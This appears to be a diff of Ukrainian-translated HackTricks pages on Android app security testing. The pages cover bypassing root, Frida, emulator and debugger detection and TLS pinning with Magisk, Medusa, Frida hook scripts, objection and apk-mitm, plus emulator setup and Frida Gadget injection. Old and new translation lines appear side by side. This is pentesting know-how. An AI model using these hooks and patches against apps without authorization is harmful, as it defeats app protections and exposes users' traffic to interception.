Ця сторінка надає практичний робочий процес для відновлення динамічного аналізу проти Android-додатків, які виявляють/блокують instrumentation через root або застосовують TLS pinning. Вона фокусується на швидкій триажі, типових виявленнях та copypasteable hooks/tactics для їх обходу без репакування, коли це можливо.
## Detection Surface (what apps check)
## Область виявлення (що перевіряють додатки)
- Root checks: su binary, Magisk paths, getprop values, common root packages
- Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs
@ -14,18 +14,18 @@ This page provides a practical workflow to regain dynamic analysis against Andro
## Step 1 — Quick win: hide root with Magisk DenyList
- Enable Zygisk in Magisk
- Enable DenyList, add the target package
- Reboot and retest
- Увімкніть Zygisk у Magisk
- Увімкніть DenyList, додайте цільовий пакет
- Перезавантажте та протестуйте знову
Many apps only look for obvious indicators (su/Magisk paths/getprop). DenyList often neutralizes naive checks.
Багато додатків шукають лише очевидні індикатори (su/Magisk paths/getprop). DenyList часто нейтралізує наївні перевірки.
References:
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
## Step 2 — 30second Frida Codeshare tests
Try common dropin scripts before deep diving:
Спробуйте поширені dropin скрипти перед глибоким зануренням:
- anti-root-bypass.js
- anti-frida-detection.js
@ -35,13 +35,13 @@ Example:
```bash
frida -U -f com.example.app -l anti-frida-detection.js
```
Вони зазвичай підміняють Java root/debug перевірки, сканування процесів/сервісів та native ptrace(). Корисно для слабо захищених додатків; для жорстко захищених цілей можуть знадобитися індивідуальні hooks.
Ці зазвичай підмінюють Java root/debug checks, process/service scans і native ptrace(). Корисні для слабко захищених додатків; для загартованих цілей можуть знадобитися спеціалізовані hooks.
- Codeshare: https://codeshare.frida.re/
## Автоматизація з Medusa (Frida framework)
Medusa надає понад 90 готових модулів для SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception, та ін.
Medusa надає понад 90 готових модулів для SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception та іншого.
```bash
git clone https://github.com/Ch0pin/medusa
cd medusa
@ -54,40 +54,40 @@ use http_communications/multiple_unpinner
use root_detection/universal_root_detection_bypass
run com.target.app
```
Порада: Medusa чудово підходить для швидких перемог перед написанням custom hooks. Ви також можете cherry-pick modules і комбінувати їх зі своїми власними scripts.
Порада: Medusa чудово підходить для швидких перемог перед написанням custom hooks. Ви також можете вибірково підбирати модулі та комбінувати їх зі своїми скриптами.
## Крок 3 — Обійти детектори часу ініціалізації, приєднавшись пізніше
## Крок 3 — Обійти детектори під час ініціалізації, підключившись пізніше
Багато детекцій запускаються лише під час process spawn/onCreate(). Spawntime injection (-f) або gadgets потрапляють у виявлення; приєднання після завантаження UI може уникнути виявлення.
Багато детекцій запускаються лише під час spawn/onCreate(). Spawntime injection (-f) або gadgets виявляються; підключення після завантаження UI може їх обійти.
```bash
# Launch the app normally (launcher/adb), wait for UI, then attach
frida -U -n com.example.app
# Or with Objection to attach to running process
aobjection --gadget com.example.app explore # if using gadget
```
Якщо це спрацює, утримуйте сесію стабільною та переходьте до картування і перевірок stub.
Якщо це спрацює, утримуйте сесію стабільною та переходьте до мапінгу й перевірки stub-ів.
## Крок 4 — Картування логіки виявлення через Jadx та пошук рядків
## Крок 4 — Проаналізуйте логіку виявлення через Jadx і пошук рядків
Статичні ключові слова для тріажу в Jadx:
Ключові слова для статичного триажу в Jadx:
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
Типові Java-патерни:
Типові шаблони Java:
```java
public boolean isFridaDetected() {
return getRunningServices().contains("frida");
}
```
Поширені API для перегляду/hook:
Поширені API для перевірки/hook:
- android.os.Debug.isDebuggerConnected
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
- java.lang.System.loadLibrary / System.load (нативний міст)
- java.lang.Runtime.exec / ProcessBuilder (перевірочні команди)
- android.os.SystemProperties.get (евристики root/emulator)
- java.lang.System.loadLibrary / System.load (native bridge)
- java.lang.Runtime.exec / ProcessBuilder (probing commands)
- android.os.SystemProperties.get (root/emulator heuristics)
## Крок 5 — Runtime stubbing з Frida (Java)
## Крок 5 — Runtime stubbing with Frida (Java)
Перевизначте кастомні guards, щоб повертати безпечні значення без repacking:
Перевизначте custom guards, щоб повертати безпечні значення без repacking:
```js
Java.perform(() => {
const Checks = Java.use('com.example.security.Checks');
@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager');
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
});
```
Робите триаж ранніх збоїв? Dump classes безпосередньо перед падінням, щоб виявити ймовірні detection namespaces:
Розбираєтеся з ранніми crashes? Dump classes безпосередньо перед падінням, щоб виявити ймовірні detection namespaces:
```js
Java.perform(() => {
Java.enumerateLoadedClasses({
@ -119,7 +119,7 @@ RootChecker.isDeviceRooted.implementation = function () { return false; };
} catch (e) {}
});
Залогувати та нейтралізувати підозрілі методи, щоб підтвердити хід виконання:
Логувати та нейтралізувати підозрілі методи, щоб підтвердити потік виконання:
```js
Java.perform(() => {
const Det = Java.use('com.example.security.DetectionManager');
@ -129,9 +129,9 @@ return false;
};
});
```
## Обхід emulator/VM detection (Java stubs)
## Bypass emulator/VM detection (Java stubs)
Типові евристики: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE containing generic/goldfish/ranchu/sdk; QEMU artifacts like /dev/qemu_pipe, /dev/socket/qemud; default MAC 02:00:00:00:00:00; 10.0.2.x NAT; missing telephony/sensors.
Звичайні евристики: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE, що містять generic/goldfish/ranchu/sdk; QEMU артефакти, такі як /dev/qemu_pipe, /dev/socket/qemud; стандартна MAC 02:00:00:00:00:00; 10.0.2.x NAT; відсутність telephony/sensors.
Швидка підміна полів Build:
```js
@ -143,11 +143,11 @@ Build.BRAND.value = 'google';
Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
});
```
Доповніть заготовками (stubs) перевірки існування файлів та ідентифікаторів (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList), щоб повертати реалістичні значення.
Доповніть заглушками для перевірок наявності файлів та ідентифікаторів (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList), щоб вони повертали реалістичні значення.
## SSL pinning bypass quick hook (Java)
Нейтралізуйте кастомні TrustManagers та примусово встановіть дозволяючі SSL contexts:
Нейтралізуйте кастомні TrustManagers і примусово встановіть permissive SSL contexts:
```js
Java.perform(function(){
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
@ -165,17 +165,17 @@ return SSLContextInit.call(this, km, TrustManagers, sr);
};
});
```
Примітки
- Розширте для OkHttp: hook okhttp3.CertificatePinner і HostnameVerifier за потреби, або використайте universal unpinning script з CodeShare.
Notes
- Розширити для OkHttp: hook okhttp3.CertificatePinner and HostnameVerifier за потреби, або використати universal unpinning script з CodeShare.
- Приклад запуску: `frida -U -f com.target.app -l ssl-bypass.js --no-pause`
## Step 6 — Слідуйте JNI/native слідом, коли Java hooks не спрацьовують
## Step 6 — Слідуйте за JNI/native слідом, коли Java hooks не спрацьовують
Прослідкуйте точки входу JNI, щоб знайти native loaders та detection init:
Прослідкуйте JNI entry points, щоб знайти native loaders і detection init:
```bash
frida-trace -n com.example.app -i "JNI_OnLoad"
```
Швидка первинна перевірка упакованих .so файлів:
Швидка нативна первинна перевірка включених .so файлів:
```bash
# List exported symbols & JNI
nm -D libfoo.so | head
@ -200,30 +200,30 @@ return -1; // pretend failure
reversing-native-libraries.md
{{#endref}}
## Крок 7 — Objection patching (embed gadget / strip basics)
## Крок 7 — Objection патчування (embed gadget / strip basics)
Якщо ви віддаєте перевагу repacking над runtime hooks, спробуйте:
Коли ви віддаєте перевагу repacking замість runtime hooks, спробуйте:
```bash
objection patchapk --source app.apk
```
Примітки:
- Requires apktool; ensure a current version from the official guide to avoid build issues: https://apktool.org/docs/install
- Gadget injection enables instrumentation without root but can still be caught by stronger inittime checks.
- Потребує apktool; переконайтеся, що у вас актуальна версія згідно з офіційним посібником, щоб уникнути проблем зі збіркою: https://apktool.org/docs/install
- Gadget injection дозволяє instrumentation без root, але все ще може бути виявлено сильнішими inittime checks.
Опційно додайте модулі LSPosed та Shamiko для кращого приховування root у середовищах Zygisk, а також відредагуйте DenyList, щоб покрити дочірні процеси.
За бажанням, додайте LSPosed modules і Shamiko для сильнішого приховування root у Zygisk середовищах та налаштуйте DenyList, щоб охопити дочірні процеси.
Посилання:
- Objection: https://github.com/sensepost/objection
## Step 8 — Запасний варіант: Патч TLS pinning для мережевої видимості
## Крок 8 — Запасний варіант: Патч TLS pinning для видимості мережевого трафіку
Якщо instrumentation заблоковано, ви все одно можете інспектувати трафік, видаливши pinning статично:
Якщо instrumentation заблоковано, ви все ще можете переглянути трафік, статично видаливши pinning:
```bash
apk-mitm app.apk
# Then install the patched APK and proxy via Burp/mitmproxy
```
- Інструмент: https://github.com/shroudedcode/apk-mitm
- Для хитрощів з конфігурацією мережі й CAtrust (та user CA trust в Android 7+), див.:
- Для трюків з налаштування мережі CAtrust (та довіри користувацьких CA в Android 7+), див.:
{{#ref}}
make-apk-accept-ca-certificate.md
@ -233,7 +233,7 @@ make-apk-accept-ca-certificate.md
install-burp-certificate.md
{{#endref}}
## Корисна шпаргалка команд
## Зручна шпаргалка команд
```bash
# List processes and attach
frida-ps -Uai
@ -253,10 +253,10 @@ apk-mitm app.apk
```
## Поради та застереження
- Краще виконувати attaching пізніше, ніж spawning, якщо додатки падають під час запуску
- Деякі механізми виявлення повторно запускаються в критичних потоках (наприклад, payment, auth) — тримайте hooks активними під час навігації
- Комбінуйте static та dynamic: string hunt у Jadx, щоб скоротити список класів; потім hook methods для перевірки під час runtime
- Hardened apps можуть використовувати packers та native TLS pinning — очікуйте реверсу native code
- Краще виконувати attaching пізніше, ніж spawning, коли додатки падають при запуску
- Деякі детекції повторно запускаються у критичних потоках (наприклад, payment, auth) — тримайте hooks активними під час навігації
- Поєднуйте static та dynamic: пошук рядків у Jadx, щоб звузити список classes; потім hook methods для перевірки під час runtime
- Захищені додатки можуть використовувати packers та native TLS pinning — очікуйте необхідності реверсу native code
## References

View File

@ -2,25 +2,25 @@
{{#include ../../banners/hacktricks-training.md}}
Щиро дякую [**@offsecjay**](https://twitter.com/offsecjay) за допомогу при створенні цього контенту.
Велика подяка [**@offsecjay**](https://twitter.com/offsecjay) за допомогу під час створення цього матеріалу.
## Що таке
Android Studio дозволяє **запускати віртуальні машини Android, які ви можете використовувати для тестування APK**. Щоб ними користуватися, вам знадобиться:
Android Studio дозволяє **запускати віртуальні машини Android, які можна використовувати для тестування APK**. Щоб ними користуватися, вам знадобиться:
- The **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools).
- Або **Android Studio** Android SDK tools) - [Download here](https://developer.android.com/studio).
- Or **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio).
У Windows (в моєму випадку) **після встановлення Android Studio** у мене **SDK Tools були встановлені в**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
У Windows (в моєму випадку) **після встановлення Android Studio** у мене **SDK Tools були встановлені у**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
У mac ви можете **завантажити SDK tools** і додати їх у PATH, виконавши:
На mac ви можете **завантажити SDK tools** і додати їх у PATH, виконавши:
```bash
brew tap homebrew/cask
brew install --cask android-sdk
```
Або через **Android Studio GUI** як зазначено в [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a), інструменти будуть встановлені в `~/Library/Android/sdk/cmdline-tools/latest/bin/` і `~/Library/Android/sdk/platform-tools/` і `~/Library/Android/sdk/emulator/`
Або з **Android Studio GUI**, як вказано в [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a), що встановить їх у `~/Library/Android/sdk/cmdline-tools/latest/bin/` і `~/Library/Android/sdk/platform-tools/` і `~/Library/Android/sdk/emulator/`
Для проблем із Java:
Для проблем з Java:
```java
export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
```
@ -28,7 +28,7 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
### Prepare Virtual Machine
Якщо ви встановили Android Studio, просто відкрийте головний вигляд проекту та перейдіть: _**Tools**_ --> _**AVD Manager.**_
Якщо ви встановили Android Studio, ви можете просто відкрити головний перегляд проекту й перейти: _**Tools**_ --> _**AVD Manager.**_
<div align="center" data-full-width="false">
@ -40,34 +40,34 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
<figure><img src="../../images/image (1143).png" alt="" width="188"><figcaption></figcaption></figure>
_**виберіть** телефон, який ви хочете використовувати_ та натисніть _**Next.**_
_**select** телефон, який ви хочете використовувати,_ і натисніть _**Next.**_
> [!WARNING]
> Якщо вам потрібен телефон із встановленим Play Store — оберіть пристрій з іконкою Play Store!
> Якщо вам потрібен телефон з встановленим Play Store, оберіть модель з іконкою Play Store!
>
> <img src="../../images/image (1144).png" alt="" data-size="original">
У поточному вікні ви зможете **вибрати та завантажити образ Android**, який буде запускатися на телефоні:
У цьому вікні ви зможете **select and download the Android image**, який буде запускатися на телефоні:
<figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure>
Отже, оберіть його, і якщо він не завантажений — натисніть на символ _**Download**_ поруч із назвою (тепер почекайте, поки образ не завантажиться).\
Після завантаження просто оберіть **`Next`** та **`Finish`**.
Отже, оберіть його, і якщо він не завантажений — натисніть на _**Download**_ символ поруч із назвою (**тепер зачекайте, поки образ буде завантажено).**\
Після завантаження образу просто виберіть **`Next`** та **`Finish`**.
Віртуальна машина буде створена. Тепер **кожного разу, коли ви відкриватимете AVD Manager, вона буде доступна**.
Віртуальна машина буде створена. Тепер **кожного разу, коли ви відкриватимете AVD Manager, вона буде присутня**.
### Run Virtual Machine
Щоб **запустити** її, просто натисніть _**Start button**_.
Щоб її **запустити**, просто натисніть _**Start button**_.
![](<../../images/image (518).png>)
## Command Line tool
> [!WARNING]
> Для macOS ви можете знайти інструмент `avdmanager` у `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` та `emulator` у `/Users/<username>/Library/Android/sdk/emulator/emulator`, якщо вони встановлені.
> For macOS you can find the `avdmanager` tool in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` and the `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` if you have them installed.
Спочатку потрібно **вирішити, який телефон ви хочете використовувати** — щоб побачити список доступних телефонів виконайте:
Перш за все вам потрібно вирішити, який телефон ви хочете використовувати; щоб побачити список можливих телефонів, виконайте:
```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
@ -95,16 +95,16 @@ Name: Nexus 10
OEM : Google
[...]
```
Після того, як ви визначите назву пристрою, який хочете використовувати, потрібно **вирішити, який образ Android ви хочете запускати на цьому пристрої.**\
Після того, як ви оберете ім'я пристрою, який хочете використовувати, вам потрібно **вирішити, який образ Android ви хочете запустити на цьому пристрої.**\
Ви можете перелічити всі варіанти за допомогою `sdkmanager`:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
```
І **завантажте** той (або всі), які ви хочете використовувати разом із:
І **download** той (або всі), які ви хочете використовувати з:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
```
Після того як ви завантажили Android image, який хочете використовувати, ви можете **перелічити всі завантажені Android images** за допомогою:
Після того, як ви завантажили Android image, який хочете використовувати, ви можете **list all the downloaded Android images** за допомогою:
```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target
----------
@ -120,11 +120,11 @@ Type: Platform
API level: 29
Revision: 4
```
На цьому етапі ви визначилися з пристроєм, який хочете використовувати, і завантажили Android-образ, тож **ви можете створити віртуальну машину, використовуючи**:
Наразі ви визначилися з пристроєм, який хочете використовувати, і завантажили Android image, тому **ви можете створити віртуальну машину, використовуючи**:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
```
У останній команді **я створив VM з ім'ям** "_AVD9_" використавши **пристрій** "_Nexus 5X_" та **Android image** "_system-images;android-28;google_apis;x86_64_".\
У останній команді **було створено VM з ім'ям** "_AVD9_" з використанням **пристрою** "_Nexus 5X_" та **Android image** "_system-images;android-28;google_apis;x86_64_".\
Тепер ви можете **перелічити віртуальні машини** які ви створили за допомогою:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
@ -143,15 +143,15 @@ Error: Google pixel_2 no longer exists as a device
### Запуск віртуальної машини
> [!WARNING]
> Для macOS ви можете знайти інструмент `avdmanager` у `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` та `emulator` у `/Users/<username>/Library/Android/sdk/emulator/emulator`, якщо вони встановлені.
> Для macOS ви можете знайти інструмент `avdmanager` за шляхом `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` та `emulator` за шляхом `/Users/<username>/Library/Android/sdk/emulator/emulator`, якщо вони встановлені.
Ми вже бачили, як можна перелічити створені віртуальні машини, але **також їх можна перелічити за допомогою**:
Ми вже бачили, як перелічити створені віртуальні машини, але **ви також можете їх перерахувати, використовуючи**:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
AVD9
Pixel_2_API_27
```
Ви можете просто **запустити будь-яку створену віртуальну машину** за допомогою:
Ви можете просто **run any virtual machine created** за допомогою:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName"
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
@ -162,33 +162,33 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
```
### Параметри командного рядка
Однак існує **a lot of different command line useful options**, які ви можете використовувати для запуску віртуальної машини. Нижче наведені деякі цікаві опції, проте ви можете [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
Однак існує **безліч корисних опцій командного рядка**, які можна використовувати для запуску віртуальної машини. Нижче наведено кілька цікавих опцій, але повний список можна [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
**Boot**
**Завантаження**
- `-snapshot name` : Запустити snapshot віртуальної машини
- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Перелічити всі записані snapshots
- `-snapshot name` : Запустити snapshot VM
- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Перелік усіх записаних snapshots
**Network**
**Мережа**
- `-dns-server 192.0.2.0, 192.0.2.255` : Дозволяє вказати через кому DNS-сервери для VM.
- `-dns-server 192.0.2.0, 192.0.2.255` : Дозволяє вказати через кому DNS-сервери для віртуальної машини.
- **`-http-proxy 192.168.1.12:8080`** : Дозволяє вказати HTTP-проксі для використання (дуже корисно для перехоплення трафіку за допомогою Burp)
- Якщо налаштування проксі з якоїсь причини не працюють, спробуйте налаштувати їх всередині системи або використовуючи додаток на кшталт "Super Proxy" або "ProxyDroid".
- `-netdelay 200` : Встановлює емуляцію затримки мережі в мілісекундах.
- `-port 5556` : Встановлює TCP-порт, який використовується для консолі і adb.
- `-ports 5556,5559` : Встановлює TCP-порти, які використовуються для консолі і adb.
- **`-tcpdump /path/dumpfile.cap`** : Записує весь трафік у файл
- If the proxy settings aren't working for some reason, try to configure them internally or using an pplication like "Super Proxy" or "ProxyDroid".
- `-netdelay 200` : Встановити емуляцію затримки мережі в мілісекундах.
- `-port 5556` : Встановити TCP-порт, який використовується для консолі та adb.
- `-ports 5556,5559` : Встановити TCP-порти, які використовуються для консолі та adb.
- **`-tcpdump /path/dumpfile.cap`** : Захопити весь трафік у файл
**System**
**Система**
- `-selinux {disabled|permissive}` : Встановлює модуль безпеки Security-Enhanced Linux у режим disabled або permissive на ОС Linux.
- `-selinux {disabled|permissive}` : Встановити модуль Security-Enhanced Linux (SELinux) у режим disabled або permissive на операційній системі Linux.
- `-timezone Europe/Paris` : Встановити часовий пояс для віртуального пристрою
- `-screen {touch(default)|multi-touch|o-touch}` : Встановити режим емуляції сенсорного екрану.
- **`-writable-system`** : Використайте цю опцію, щоб зробити системний образ змінним під час сесії емуляції. Також потрібно виконати `adb root; adb remount`. Це дуже корисно для встановлення нового сертифіката в систему.
- **`-writable-system`** : Використовуйте цю опцію, щоб мати записуваний системний образ під час сеансу емуляції. Також потрібно виконати `adb root; adb remount`. Це дуже корисно для встановлення нового сертифікату в системі.
## Linux CLI setup (SDK/AVD quickstart)
## Налаштування CLI для Linux (SDK/AVD quickstart)
Офіційні CLI-інструменти полегшують створення швидких, налагоджуваних емуляторів без Android Studio.
Офіційні інструменти CLI полегшують створення швидких, зручних для дебагу емулаторів без Android Studio.
```bash
# Directory layout
mkdir -p ~/Android/cmdline-tools/latest
@ -217,9 +217,9 @@ adb root
adb shell whoami # expect: root
```
Примітки
- Варіанти образів системи: google_apis (debuggable, allows adb root), google_apis_playstore (not rootable), aosp/default (lightweight).
- Типи збірок: userdebug часто дозволяє `adb root` на образах з підтримкою debug. Play Store images — це production збірки і блокують root.
- На хостах x86_64 повноцінна емуляція ARM64 на рівні системи не підтримується починаючи з API 28+. Для Android 11+ використовуйте Google APIs/Play образи, що включають переклад ARM->x86 для окремих додатків, щоб швидко запускати багато ARM-only apps.
- Варіанти системних образів: google_apis (дозволяє налагодження, дозволяє adb root), google_apis_playstore (не rootable), aosp/default (легкий).
- Типи збірок: userdebug часто дозволяє `adb root` на образах з підтримкою налагодження. Play Store images — це production-збірки і блокують root.
- На хостах x86_64 повноцінна емуляція ARM64 не підтримується з API 28+. Для Android 11+ використовуйте Google APIs/Play images, які включають per-app ARM-to-x86 translation, щоб швидко запускати багато ARM-only apps.
### Знімки з CLI
```bash
@ -229,24 +229,24 @@ adb -s emulator-5554 emu avd snapshot save my_clean_setup
# Boot from a named snapshot (if it exists)
emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup
```
## ARM→x86 бінарна трансляція (Android 11+)
## ARM→x86 бінарний переклад (Android 11+)
Google APIs і Play Store images на Android 11+ можуть транслювати ARM app binaries на рівні процесу, залишаючи решту системи рідною x86/x86_64. Це зазвичай достатньо для тестування багатьох ARM-only apps на настільному комп'ютері.
Google APIs and Play Store images on Android 11+ can translate ARM app binaries per process while keeping the rest of the system native x86/x86_64. Це часто достатньо швидко, щоб тестувати багато ARM-only додатків на десктопі.
> Порада: Віддавайте перевагу Google APIs x86/x86_64 images під час pentests. Play images зручні, але блокують `adb root`; використовуйте їх тільки коли вам конкретно потрібні Play services і ви погоджуєтесь на відсутність root.
> Порада: Prefer Google APIs x86/x86_64 images during pentests. Play images are convenient but block `adb root`; use them only when you specifically require Play services and accept the lack of root.
## Отримання root на пристрої з Play Store
## Rooting a Play Store device
Якщо ви завантажили пристрій з Play Store, ви не зможете безпосередньо отримати root, і отримаєте це повідомлення про помилку
Якщо ви завантажили пристрій з Play Store, ви не зможете отримати root безпосередньо, і отримаєте це повідомлення про помилку
```
$ adb root
adbd cannot run as root in production builds
```
Використовуючи [rootAVD](https://github.com/newbit1/rootAVD) з [Magisk](https://github.com/topjohnwu/Magisk) мені вдалося отримати root (наприклад, див. [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) або [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
За допомогою [rootAVD](https://github.com/newbit1/rootAVD) та [Magisk](https://github.com/topjohnwu/Magisk) мені вдалося отримати root (наприклад, дивіться [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) або [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
## Встановлення сертифіката Burp
## Встановлення сертифікату Burp
Перегляньте наступну сторінку, щоб дізнатися, як встановити кастомний CA cert:
Перегляньте наступну сторінку, щоб дізнатися, як встановити власний сертифікат CA:
{{#ref}}
@ -255,9 +255,9 @@ install-burp-certificate.md
## Корисні опції AVD
### Зробити Snapshot
### Зробити знімок
Ви можете **використовувати GUI**, щоб у будь-який момент зробити snapshot VM:
Ви можете **використати GUI**, щоб у будь-який момент зробити знімок VM:
![](<../../images/image (234).png>)

View File

@ -1,4 +1,4 @@
# Frida Посібник
# Frida Підручник
{{#include ../../../banners/hacktricks-training.md}}
@ -11,21 +11,21 @@ pip install frida-tools
pip install frida
```
**Завантажте та встановіть** на Android **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
Однорядкова команда, щоб перезапустити adb у режимі root, підключитися до нього, завантажити frida-server, встановити права виконання та запустити його у фоновому режимі:
Однорядкова команда, щоб перезапустити adb в режимі root, підключитися до нього, завантажити frida-server, надати права виконання і запустити його у фоновому режимі:
```bash
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
```
**Перевірте**, чи це **працює**:
**Перевірте** чи це **працює**:
```bash
frida-ps -U #List packages and processes
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
```
## Frida server проти Gadget (root проти no-root)
## Frida server vs. Gadget (root vs. no-root)
Два поширені способи інструментувати Android-додатки за допомогою Frida:
Два поширені способи інструментування Android-додатків за допомогою Frida:
- Frida server (rooted devices): Push і запустіть native daemon, який дозволяє підключитися до будь-якого процесу.
- Frida Gadget (no root): Вбудуйте Frida як shared library всередині APK і автозавантажуйте її в цільовий процес.
- Frida server (rooted devices): Завантажити і запустити нативний демон, який дозволяє приєднатися до будь-якого процесу.
- Frida Gadget (no root): Вбудувати Frida як shared library всередині APK і автоматично завантажити її в цільовому процесі.
Frida server (rooted)
```bash
@ -42,9 +42,9 @@ frida -U -n com.example.app
```
Frida Gadget (no-root)
1) Розпакуйте APK, додайте gadget .so та config:
1) Розпакуйте APK, додайте gadget .so та конфіг:
- Помістіть libfrida-gadget.so у lib/<abi>/ (наприклад, lib/arm64-v8a/)
- Створіть assets/frida-gadget.config з налаштуваннями завантаження ваших скриптів
- Створіть assets/frida-gadget.config з налаштуваннями завантаження скриптів
Приклад frida-gadget.config
```json
@ -53,11 +53,10 @@ Frida Gadget (no-root)
"runtime": { "logFile": "/sdcard/frida-gadget.log" }
}
```
2) Підключіть/завантажте gadget так, щоб він ініціалізувався на ранньому етапі:
2) Reference/load the gadget so its initialized early:
- Найпростіше: додати невелику Java-заглушку з викликом System.loadLibrary("frida-gadget") в Application.onCreate(), або використати вже наявне native lib loading.
- Найпростіше: Додайте невеликий Java-стаб, який викликає System.loadLibrary("frida-gadget") в Application.onCreate(), або використайте вже наявне завантаження нативної бібліотеки.
3) Перепакуйте та підпишіть APK, потім встановіть:
3) Repack і підпишіть APK, потім встановіть:
```bash
apktool d app.apk -o app_m
# ... add gadget .so and config ...
@ -65,42 +64,42 @@ apktool b app_m -o app_gadget.apk
uber-apk-signer -a app_gadget.apk -o out_signed
adb install -r out_signed/app_gadget-aligned-debugSigned.apk
```
4) Приєднатися з host до процесу gadget:
4) Підключитися з host до процесу gadget:
```bash
frida-ps -Uai
frida -U -n com.example.app
```
Примітки
- Gadget виявляється деякими захисними механізмами; тримайте імена/шляхи непомітними і завантажуйте пізніше/умовно, якщо потрібно.
- У захищених додатках краще використовувати rooted тестування з server + late attach, або комбінувати з приховуванням Magisk/Zygisk.
- Gadget виявляється деякими механізмами захисту; тримайте імена/шляхи непомітними та завантажуйте пізно/умовно, якщо потрібно.
- У жорстко захищених додатках надавайте перевагу rooted testing з server + late attach, або комбінуйте з приховуванням Magisk/Zygisk.
## Tutorials
## Підручники
### [Tutorial 1](frida-tutorial-1.md)
**Джерело**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
**Вихідний код**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
**Перейдіть за [link to read it](frida-tutorial-1.md).**
**Перегляньте [link to read it](frida-tutorial-1.md).**
### [Tutorial 2](frida-tutorial-2.md)
**Джерело**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Частини 2, 3 & 4)\
**APKs і вихідний код**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**Перейдіть за[ link to read it.](frida-tutorial-2.md)**
**Перегляньте [ link to read it.](frida-tutorial-2.md)**
### [Tutorial 3](owaspuncrackable-1.md)
**Джерело**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
